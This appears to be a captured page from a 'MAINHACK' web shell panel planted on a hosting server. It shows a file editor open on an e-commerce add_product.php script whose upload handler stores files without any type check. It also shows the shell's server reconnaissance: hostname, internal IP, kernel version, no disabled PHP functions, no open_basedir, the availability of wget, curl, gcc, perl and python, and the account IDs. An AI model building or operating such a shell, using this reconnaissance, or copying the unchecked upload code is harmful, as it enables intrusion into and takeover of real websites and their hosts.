[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_product.php
<?php include 'header.php' ?> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Add Product</div> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group"> <div class="col-md-12"> <label>Product Title 1</label> <input type="text" class="form-control" name="title" placeholder="Title"> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Product Description 1<span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description" class="form-control" rows="10"></textarea> </div> </div> <div class="form-group"> <div class="col-md-12"> <label>Product Title 2</label> <input type="text" class="form-control" name="title1" placeholder="Title"> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Product Description 2<span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description1" class="form-control" rows="10"></textarea> </div> </div> <div class="form-group"> <div class="col-md-4"> <input type="hidden" id="getid" value="1"> <div class='tr_input' id="tab" style="border:none !important;"> <table> <tr> <th>Pictures</th></tr> <tr> <td><input type="file" id="testcode_1" name="file[]"></td> <td><input type="button" class="btn btn-info" value='+' id="addmore"></td> </tr> </table> </div> </div> <div class="clearfix"></div> </div> <div class="form-group"> <label>Video URL</label> <input type="text" name="url" class="form-control" placeholder="Please copy paste the youtube URL" required> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> </div> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ echo "ok"; $uid=$show->getid('ids','PRD'); $video=htmlentities(strip_tags($_POST['url'])); $vid=explode('=',$video); if(isset($_FILES['file'])){ foreach($_FILES['file']['tmp_name'] as $key=>$value){ $pic=$_FILES['file']['name'][$key]; $img1=uniqid().$pic; $data1 = array( 'product_id'=>$uid, 'img' => $img1, ); // print_r($data1); if(move_uploaded_file($_FILES['file']['tmp_name'][$key],"../product_img/".$img1)){ if($show->insert('product_img',$data1)){ echo "<script>sweetAlert('OK','Thank you for entering images','success');</script>"; } } } } $data = array( 'product_id' => $uid, 'title' => htmlspecialchars($_POST['title']), 'description' => htmlspecialchars($_POST['description']), 'title1' => htmlspecialchars($_POST['title1']), 'description1' => htmlspecialchars($_POST['description1']), 'video' =>$vid[1], ); print_r($data); if($show->insert('product',$data)){ echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Your product has been inserted", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; //echo "<script>swal('Thank you for Registration.');window.location.href='".$_SERVER['request_uri']."';</script>"; } } ?> <script> $(document).ready(function(){ // Add more $('#addmore').click(function(){ // Get last id var lastname_id = $('.tr_input input[type=file]').last().attr('id'); var split_id = lastname_id.split('_'); // New index var index = Number(split_id[1]) + 1; document.getElementById('getid').value=index; // Create row with input elements var html = "<div class='tr_input'><table><tr><td><input type='file' id='testcode_"+index+"' name='file[]'></td><td><a href='javascript:void(0);' id='remove_field' class='remCF btn btn-info' >-</a></td></tr></table></div>"; // Append data $('#tab').append(html); }); $("#tab").on('click','.remCF',function(){ $(this).parent().parent().remove(); var lastname_id = document.getElementById('getid').value; var index = lastname_id - 1; // Create row with input elements document.getElementById('getid').value=index; }); }); </script> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.14 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619